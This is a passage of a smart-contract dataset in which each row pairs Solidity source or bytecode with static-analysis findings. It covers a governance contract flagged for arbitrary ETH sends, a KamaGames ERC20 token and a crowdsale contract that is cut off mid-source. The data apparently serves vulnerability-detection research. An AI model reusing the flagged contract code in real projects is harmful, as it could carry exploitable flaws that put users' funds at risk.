02090912001546004850180546001600160a01b0390921691849081106111ec57fe5b906000526020600020015485600501848154811061120657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156112945780601f1061126957610100808354040283529160200191611294565b820191906000526020600020905b81548152906001019060200180831161127757829003601f168201915b50505050508660060185815481106112a857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156113365780601f1061130b57610100808354040283529160200191611336565b820191906000526020600020905b81548152906001019060200180831161131957829003601f168201915b5050505050866117e4565b6001016111a6565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610b2d9085908490612f8b565b60405161049e90612b21565b611397611b16565b5060008281526003602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056114098261075b565b600781111561141457fe5b146114315760405162461bcd60e51b815260040161078b90612dbf565b6000818152600360205260408120600b8101805461ff001916610100179055905b6003820154811015611587576000546004830180546001600160a01b0390921691630825f38f91908490811061148457fe5b906000526020600020015484600301848154811061149e57fe5b6000918252602090912001546004860180546001600160a01b0390921691869081106114c657fe5b90600052602060002001548660050186815481106114e057fe5b906000526020600020018760060187815481106114f957fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611528959493929190612be4565b6000604051808303818588803b15801561154157600080fd5b505af1158015611555573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261157e9190810190612047565b50600101611452565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516115b79190612c72565b60405180910390a15050565b60016115ce8361075b565b60078111156115d957fe5b146115f65760405162461bcd60e51b815260040161078b90612e0f565b60008281526003602090815260408083206001600160a01b0387168452600c8101909252909120805460ff161561163f5760405162461bcd60e51b815260040161078b90612def565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611675918a91600401612b47565b60206040518083038186803b15801561168d57600080fd5b505afa1580156116a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506116c5919081019061216c565b905083156116ee576116e48360090154826001600160601b031661178c565b600984015561170b565b61170583600a0154826001600160601b031661178c565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c469061177c908890889088908690612b55565b60405180910390a1505050505050565b6000828201838110156117b15760405162461bcd60e51b815260040161078b90612dcf565b9392505050565b6000828211156117da5760405162461bcd60e51b815260040161078b90612e1f565b50900390565b4690565b6000546040516001600160a01b039091169063f2b06537906118129088908890889088908890602001612b8a565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016118449190612c72565b60206040518083038186803b15801561185c57600080fd5b505afa158015611870573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611894919081019061200b565b156118b15760405162461bcd60e51b815260040161078b90612ddf565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f901906118e99088908890889088908890600401612b8a565b602060405180830381600087803b15801561190357600080fd5b505af1158015611917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061193b9190810190612029565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611a0d579160200282015b82811115611a0d57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906119d8565b50611a19929150611b36565b5090565b828054828255906000526020600020908101928215611a58579160200282015b82811115611a58578251825591602001919060010190611a3d565b50611a19929150611b5a565b828054828255906000526020600020908101928215611ab1579160200282015b82811115611ab15782518051611aa1918491602090910190611b74565b5091602001919060010190611a84565b50611a19929150611be1565b828054828255906000526020600020908101928215611b0a579160200282015b82811115611b0a5782518051611afa918491602090910190611b74565b5091602001919060010190611add565b50611a19929150611c04565b604080516060810182526000808252602082018190529181019190915290565b61044291905b80821115611a195780546001600160a01b0319168155600101611b3c565b61044291905b80821115611a195760008155600101611b60565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611bb557805160ff1916838001178555611a58565b82800160010185558215611a585791820182811115611a58578251825591602001919060010190611a3d565b61044291905b80821115611a19576000611bfb8282611c27565b50600101611be7565b61044291905b80821115611a19576000611c1e8282611c27565b50600101611c0a565b50805460018160011615610100020316600290046000825580601f10611c4d5750611c6b565b601f016020900490600052602060002090810190611c6b9190611b5a565b50565b80356113f8816130d4565b600082601f830112611c8a57600080fd5b8135611c9d611c9882612fc0565b612f99565b91508181835260208401935060208101905083856020840282011115611cc257600080fd5b60005b83811015611cee5781611cd88882611c6e565b8452506020928301929190910190600101611cc5565b5050505092915050565b600082601f830112611d0957600080fd5b8135611d17611c9882612fc0565b81815260209384019390925082018360005b83811015611cee5781358601611d3f8882611e4e565b8452506020928301929190910190600101611d29565b600082601f830112611d6657600080fd5b8135611d74611c9882612fc0565b81815260209384019390925082018360005b83811015611cee5781358601611d9c8882611e4e565b8452506020928301929190910190600101611d86565b600082601f830112611dc357600080fd5b8135611dd1611c9882612fc0565b91508181835260208401935060208101905083856020840282011115611df657600080fd5b60005b83811015611cee5781611e0c8882611e38565b8452506020928301929190910190600101611df9565b80356113f8816130e8565b80516113f8816130e8565b80356113f8816130f1565b80516113f8816130f1565b600082601f830112611e5f57600080fd5b8135611e6d611c9882612fe1565b91508082526020830160208301858383011115611e8957600080fd5b611e94838284613088565b50505092915050565b600082601f830112611eae57600080fd5b8151611ebc611c9882612fe1565b91508082526020830160208301858383011115611ed857600080fd5b611e94838284613094565b80356113f8816130fa565b80516113f881613103565b600060208284031215611f0b57600080fd5b6000611f178484611c6e565b949350505050565b600080600080600060a08688031215611f3757600080fd5b853567ffffffffffffffff811115611f4e57600080fd5b611f5a88828901611c79565b955050602086013567ffffffffffffffff811115611f7757600080fd5b611f8388828901611db2565b945050604086013567ffffffffffffffff811115611fa057600080fd5b611fac88828901611d55565b935050606086013567ffffffffffffffff811115611fc957600080fd5b611fd588828901611cf8565b925050608086013567ffffffffffffffff811115611ff257600080fd5b611ffe88828901611e4e565b9150509295509295909350565b60006020828403121561201d57600080fd5b6000611f178484611e2d565b60006020828403121561203b57600080fd5b6000611f178484611e43565b60006020828403121561205957600080fd5b815167ffffffffffffffff81111561207057600080fd5b611f1784828501611e9d565b60006020828403121561208e57600080fd5b6000611f178484611e38565b600080604083850312156120ad57600080fd5b60006120b98585611e38565b92505060206120ca85828601611c6e565b9150509250929050565b600080604083850312156120e757600080fd5b60006120f38585611e38565b92505060206120ca85828601611e22565b600080600080600060a0868803121561211c57600080fd5b60006121288888611e38565b955050602061213988828901611e22565b945050604061214a88828901611ee3565b935050606061215b88828901611e38565b9250506080611ffe88828901611e38565b60006020828403121561217e57600080fd5b6000611f178484611eee565b600061219683836121c5565b505060200190565b60006117b18383612367565b6000612196838361234d565b6121bf81613060565b82525050565b6121bf81613028565b60006121d98261301b565b6121e3818561301f565b93506121ee83613009565b8060005b8381101561221c578151612206888261218a565b975061221183613009565b9250506001016121f2565b509495945050505050565b60006122328261301b565b61223c818561301f565b93508360208202850161224e85613009565b8060005b85811015612288578484038952815161226b858261219e565b945061227683613009565b60209a909a0199925050600101612252565b5091979650505050505050565b60006122a08261301b565b6122aa818561301f565b9350836020820285016122bc85613009565b8060005b8581101561228857848403895281516122d9858261219e565b94506122e483613009565b60209a909a01999250506001016122c0565b60006123018261301b565b61230b818561301f565b935061231683613009565b8060005b8381101561221c57815161232e88826121aa565b975061233983613009565b92505060010161231a565b6121bf81613033565b6121bf81610442565b6121bf61236282610442565b610442565b60006123728261301b565b61237c818561301f565b935061238c818560208601613094565b612395816130c0565b9093019392505050565b6000815460018116600081146123bc57600181146123e257612421565b607f60028304166123cd818761301f565b60ff1984168152955050602085019250612421565b600282046123f0818761301f565b95506123fb8561300f565b60005b8281101561241a578154888201526001909101906020016123fe565b8701945050505b505092915050565b6121bf81613067565b6121bf81613072565b6000612448603a8361301f565b7f476f7665726e6f723a3a70726f706f73653a2070726f706f73657220766f746581527f732062656c6f772070726f706f73616c207468726573686f6c64000000000000602082015260400192915050565b60006124a7603f8361301f565b7f476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2066756e6381527f74696f6e20696e666f726d6174696f6e206172697479206d69736d6174636800602082015260400192915050565b600061250660238361301f565b7f476f7665726e6f723a3a70726f706f73653a20746f6f206d616e7920616374698152626f6e7360e81b602082015260400192915050565b600061254b60318361301f565b7f476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e63656c20815270195e1958dd5d1959081c1c9bdc1bdcd85b607a1b602082015260400192915050565b600061259e6002836108e1565b61190160f01b815260020192915050565b60006125bc60278361301f565b7f476f7665726e6f723a3a70726f706f73653a206d7573742070726f7669646520815266616374696f6e7360c81b602082015260400192915050565b600061260560548361301f565b7f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7081527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560208201527318591e481c195b991a5b99c81c1c9bdc1bdcd85b60621b604082015260600192915050565b600061268160248361301f565b7f476f7665726e6f723a3a73746174653a20696e76616c69642070726f706f73618152631b081a5960e21b602082015260400192915050565b60006126c760538361301f565b7f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7081527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560208201527218591e481858dd1a5d99481c1c9bdc1bdcd85b606a1b604082015260600192915050565b600061274260408361301f565b7f476f7665726e6f723a3a657865637574653a2070726f706f73616c2063616e2081527f6f6e6c7920626520657865637574656420696620697420697320717565756564602082015260400192915050565b60006127a160118361301f565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b60006127ce6043836108e1565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006128396027836108e1565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612882603f8361301f565b7f476f7665726e6f723a3a5f71756575654f725265766572743a2070726f706f7381527f616c20616374696f6e20616c7265616479207175657565642061742065746100602082015260400192915050565b60006128e160288361301f565b7f476f7665726e6f723a3a5f63617374566f74653a20766f74657220616c726561815267191e481d9bdd195960c21b602082015260400192915050565b600061292b602a8361301f565b7f476f7665726e6f723a3a63616e63656c3a2070726f706f7365722061626f7665815269081d1a1c995cda1bdb1960b21b602082015260400192915050565b600061297760258361301f565b7f476f7665726e6f723a3a5f63617374566f74653a20766f74696e6720697320638152641b1bdcd95960da1b602082015260400192915050565b60006129be60158361301f565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b60006129ef603f8361301f565b7f476f7665726e6f723a3a71756575653a2070726f706f73616c2063616e206f6e81527f6c79206265207175657565642069662069742069732073756363656564656400602082015260400192915050565b6000612a4e602a8361301f565b7f476f7665726e6f723a3a63617374566f746542795369673a20696e76616c6964815269207369676e617475726560b01b602082015260400192915050565b80516060830190612a9e8482612344565b506020820151612ab16020850182612344565b506040820151612ac46040850182612adc565b50505050565b6121bf8161304e565b6121bf8161307d565b6121bf81613054565b6000612af082612591565b9150612afc8285612356565b602082019150612b0c8284612356565b5060200192915050565b60006113f8826127c1565b60006113f88261282c565b60408101612b3a82856121b6565b6117b1602083018461234d565b60408101612b3a82856121c5565b60808101612b6382876121c5565b612b70602083018661234d565b612b7d6040830185612344565b61110c6060830184612ad3565b60a08101612b9882886121c5565b612ba5602083018761234d565b8181036040830152612bb78186612367565b90508181036060830152612bcb8185612367565b9050612bda608083018461234d565b9695505050505050565b60a08101612bf282886121c5565b612bff602083018761234d565b8181036040830152612c11818661239f565b90508181036060830152612bcb818561239f565b60808082528101612c3681876121ce565b90508181036020830152612c4a81866122f6565b90508181036040830152612c5e8185612295565b90508181036060830152612bda8184612227565b602081016113f8828461234d565b60808101612c8e828761234d565b612c9b602083018661234d565b612ca8604083018561234d565b61110c60608301846121c5565b60608101612cc3828661234d565b612cd0602083018561234d565b611f176040830184612344565b60808101612ceb828761234d565b612cf86020830186612aca565b612d05604083018561234d565b61110c606083018461234d565b602081016113f88284612429565b602081016113f88284612432565b602080825281016117b18184612367565b602080825281016113f88161243b565b602080825281016113f88161249a565b602080825281016113f8816124f9565b602080825281016113f88161253e565b602080825281016113f8816125af565b602080825281016113f8816125f8565b602080825281016113f881612674565b602080825281016113f8816126ba565b602080825281016113f881612735565b602080825281016113f881612794565b602080825281016113f881612875565b602080825281016113f8816128d4565b602080825281016113f88161291e565b602080825281016113f88161296a565b602080825281016113f8816129b1565b602080825281016113f8816129e2565b602080825281016113f881612a41565b606081016113f88284612a8d565b6101208101612e6c828c61234d565b612e79602083018b6121b6565b8181036040830152612e8b818a6121ce565b90508181036060830152612e9f81896122f6565b90508181036080830152612eb38188612295565b905081810360a0830152612ec78187612227565b9050612ed660c083018661234d565b612ee360e083018561234d565b818103610100830152612ef68184612367565b9b9a5050505050505050505050565b6101208101612f14828c61234d565b612f21602083018b6121c5565b612f2e604083018a61234d565b612f3b606083018961234d565b612f48608083018861234d565b612f5560a083018761234d565b612f6260c083018661234d565b612f6f60e0830185612344565b612f7d610100830184612344565b9a9950505050505050505050565b60408101612b3a828561234d565b60405181810167ffffffffffffffff81118282101715612fb857600080fd5b604052919050565b600067ffffffffffffffff821115612fd757600080fd5b5060209081020190565b600067ffffffffffffffff821115612ff857600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006113f882613042565b151590565b806108e1816130ca565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b60006113f8825b60006113f882613028565b60006113f882613038565b60006113f882613054565b82818337506000910152565b60005b838110156130af578181015183820152602001613097565b83811115612ac45750506000910152565b601f01601f191690565b60088110611c6b57fe5b6130dd81613028565b8114611c6b57600080fd5b6130dd81613033565b6130dd81610442565b6130dd8161304e565b6130dd8161305456fea365627a7a723158202d7cb95a559f5a3c953de55920b81f4467f5e1ef635284839cc5c4d8012a3e5e6c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,819 |
0x3282eb043414888a7c818ac9db0e8086fd5741c2 | pragma solidity ^0.4.25;
library SafeMath {
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
/**
* @title KamaGames ERC20 token
* @dev KamaGames ERC20 token based on code by OpenZeppelin
* commit 4385fd5a236db303699476facfd212481eeac6c1 at github.com/OpenZeppelin/openzeppelin-solidity.git
* >Implementation of the basic standard token.
* >https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* >Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract KamaGamesToken {
using SafeMath for uint256;
mapping (address => uint256) private balances_;
mapping (address => mapping (address => uint256)) private allowed_;
uint256 private totalSupply_;
event Chips(
address indexed _payee,
address indexed _to,
uint256 _value
);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event TokensBurned(
address indexed burner,
uint256 value
);
address private constant address_prefix = address(~uint256(0xFFFFFFFF));
constructor() public {
totalSupply_ = 31250000000000;
balances_[msg.sender] = totalSupply_;
}
function name() public pure returns (string) { return("KamaGames Token"); }
function symbol() public pure returns (string) { return("KGT"); }
function decimals() public pure returns (uint8) {return 6;}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed_[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[msg.sender]);
require(_to != address(0));
if(_to > address_prefix){
_burn(msg.sender, _value);
emit Chips(msg.sender, _to, _value);
return true;
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
require(_to != address(0));
if(_to > address_prefix){
_burn(_from,_value);
emit Chips(msg.sender, _to, _value);
return true;
}
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
require(_spender != address(0));
allowed_[msg.sender][_spender] = (
allowed_[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
require(_spender != address(0));
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != address(0));
require(_amount <= balances_[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances_[_account] = balances_[_account].sub(_amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed_[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed_[_account][msg.sender] = allowed_[_account][msg.sender].sub(
_amount);
_burn(_account, _amount);
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
emit TokensBurned(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
emit TokensBurned(_from, _value);
}
} | 0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc57806342966c6814610207578063661884631461022157806370a082311461024557806379cc67901461026657806395d89b411461028a578063a9059cbb1461029f578063d73dd623146102c3578063dd62ed3e146102e7575b600080fd5b3480156100d557600080fd5b506100de61030e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610345565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103c4565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103ca565b3480156101e857600080fd5b506101f16105b7565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b5061021f6004356105bc565b005b34801561022d57600080fd5b50610177600160a060020a03600435166024356105ff565b34801561025157600080fd5b506101a0600160a060020a0360043516610707565b34801561027257600080fd5b5061021f600160a060020a0360043516602435610722565b34801561029657600080fd5b506100de61076f565b3480156102ab57600080fd5b50610177600160a060020a03600435166024356107a6565b3480156102cf57600080fd5b50610177600160a060020a03600435166024356108fc565b3480156102f357600080fd5b506101a0600160a060020a03600435811690602435166109ac565b60408051808201909152600f81527f4b616d6147616d657320546f6b656e0000000000000000000000000000000000602082015290565b6000600160a060020a038316151561035c57600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103ef57600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561041f57600080fd5b600160a060020a038316151561043457600080fd5b73ffffffffffffffffffffffffffffffff00000000600160a060020a03841611156104ab5761046384836109d7565b604080518381529051600160a060020a0385169133917f7806f422b0566d8310a3949c1f3316a1804085447a523ecfe69b4ae3fef465fd9181900360200190a35060016105b0565b600160a060020a0384166000908152602081905260409020546104d4908363ffffffff610a7016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610509908363ffffffff610a8716565b600160a060020a0380851660009081526020818152604080832094909455918716815260018252828120338252909152205461054b908363ffffffff610a7016565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060015b9392505050565b600690565b6105c633826109d7565b60408051828152905133917ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6919081900360200190a250565b600080600160a060020a038416151561061757600080fd5b50336000908152600160209081526040808320600160a060020a038716845290915290205480831061066c57336000908152600160209081526040808320600160a060020a03881684529091528120556106a1565b61067c818463ffffffff610a7016565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b61072c8282610a99565b604080518281529051600160a060020a038416917ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6919081900360200190a25050565b60408051808201909152600381527f4b47540000000000000000000000000000000000000000000000000000000000602082015290565b336000908152602081905260408120548211156107c257600080fd5b600160a060020a03831615156107d757600080fd5b73ffffffffffffffffffffffffffffffff00000000600160a060020a038416111561084e5761080633836109d7565b604080518381529051600160a060020a0385169133917f7806f422b0566d8310a3949c1f3316a1804085447a523ecfe69b4ae3fef465fd9181900360200190a35060016103be565b3360009081526020819052604090205461086e908363ffffffff610a7016565b3360009081526020819052604080822092909255600160a060020a038516815220546108a0908363ffffffff610a8716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000600160a060020a038316151561091357600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610947908363ffffffff610a8716565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a03821615156109ec57600080fd5b600160a060020a038216600090815260208190526040902054811115610a1157600080fd5b600254610a24908263ffffffff610a7016565b600255600160a060020a038216600090815260208190526040902054610a50908263ffffffff610a7016565b600160a060020a0390921660009081526020819052604090209190915550565b60008083831115610a8057600080fd5b5050900390565b6000828201838110156105b057600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054811115610ac957600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054610afd908263ffffffff610a7016565b600160a060020a0383166000908152600160209081526040808320338452909152902055610b2b82826109d7565b50505600a165627a7a723058206a43a88ca82189ea90ed093a3d60619d4a7dbd8e47e4df72184bf552c82a88240029 | {"success": true, "error": null, "results": {}} | 9,820 |
0x80895845924a69e8d10c974ac17d9ac2ef050775 | pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BFEXMini is Ownable {
using SafeMath for uint256;
// Start and end timestamps
uint public startTime;
/* uint public endTime; */
// BFEX Address where funds are collected
address public wallet;
address public feeWallet;
// Whitelist Enable
bool public whitelistEnable;
// timeLimitEnable Enable
bool public timeLimitEnable;
mapping (address => bool) public whitelist;
mapping (address => uint256) public bfexAmount; // 18 digits
mapping (address => uint256) public weiParticipate;
mapping (address => uint256) public balances;
// Amount of wei raised
uint256 public weiRaised = 0;
// BFEX price pair with ETH
uint256 public rate;
uint256 public rateSecondTier;
// Minimum ETH to participate
uint256 public minimum;
// number of contributor
uint256 public contributor;
// Maximun number of contributor
uint256 public maxContributor;
event BFEXParticipate(
address sender,
uint256 amount
);
event WhitelistState(
address beneficiary,
bool whitelistState
);
event LogWithdrawal(
address receiver,
uint amount
);
/* solhint-disable */
constructor(address _wallet, address _feeWallet, uint256 _rate, uint256 _rateSecondTier, uint256 _minimum) public {
require(_wallet != address(0));
wallet = _wallet;
feeWallet = _feeWallet;
rate = _rate;
rateSecondTier = _rateSecondTier;
minimum = _minimum;
whitelistEnable = true;
timeLimitEnable = true;
contributor = 0;
maxContributor = 10001;
startTime = 1528625400; // 06/10/2018 @ 10:10am (UTC)
}
/* solhint-enable */
/**
* @dev Fallback function that can be used to participate in token generation event.
*/
function() external payable {
getBFEX(msg.sender);
}
/**
* @dev set rate of Token per 1 ETH
* @param _rate of Token per 1 ETH
*/
function setRate(uint _rate) public onlyOwner {
rate = _rate;
}
/**
* @dev setMinimum amount to participate
* @param _minimum minimum amount in wei
*/
function setMinimum(uint256 _minimum) public onlyOwner {
minimum = _minimum;
}
/**
* @dev setMinimum amount to participate
* @param _max Maximum contributor allowed
*/
function setMaxContributor(uint256 _max) public onlyOwner {
maxContributor = _max;
}
/**
* @dev Add single address to whitelist.
